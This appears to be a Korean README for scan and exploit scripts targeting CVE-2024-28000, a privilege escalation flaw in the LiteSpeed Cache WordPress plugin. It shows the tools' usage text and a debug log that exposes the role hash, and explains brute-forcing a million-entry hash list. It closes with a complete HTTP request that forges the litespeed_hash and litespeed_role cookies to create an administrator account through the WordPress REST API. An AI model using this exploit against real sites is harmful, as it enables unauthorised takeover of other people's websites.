
CVE-2024-28000 LiteSpeed Cache 권한 상승 Scan&Exp
usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]
CVE-2024-28000 Scan
optional arguments:
-h, --help show this help message and exit
-f F File list
-t T Scan thread
-p PROXY, --proxy PROXY
Example: socks5://127.0.0.1:10808
예시:
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS) /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String:
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role:
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init
LiteSpeed에서 디버그를 활성화하면 위와 같은 로그를 볼 수 있으며, 여기서 pkHrfD가 올바른 Hash입니다.
Hash_list.txt 파일은 PHP로 생성된 1,000,000개의 Hash입니다. 따라서 이론적으로 최대 1,000,000번을 순회하면 올바른 Hash를 찾을 수 있습니다.usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]
CVE-2024-28000
optional arguments:
-h, --help show this help message and exit
-u U url
-t T Scan thread
-d D Dict list
-p PROXY, --proxy PROXY
Example: socks5://127.0.0.1:10808
-d 인자는 Hash 리스트, -u는 URL, -t는 스레드 수입니다. 스레드는 너무 높게 설정하지 않는 것이 좋습니다.POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=올바른Hash; litespeed_role=1
Content-Length: 122
Content-Type: application/json
{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}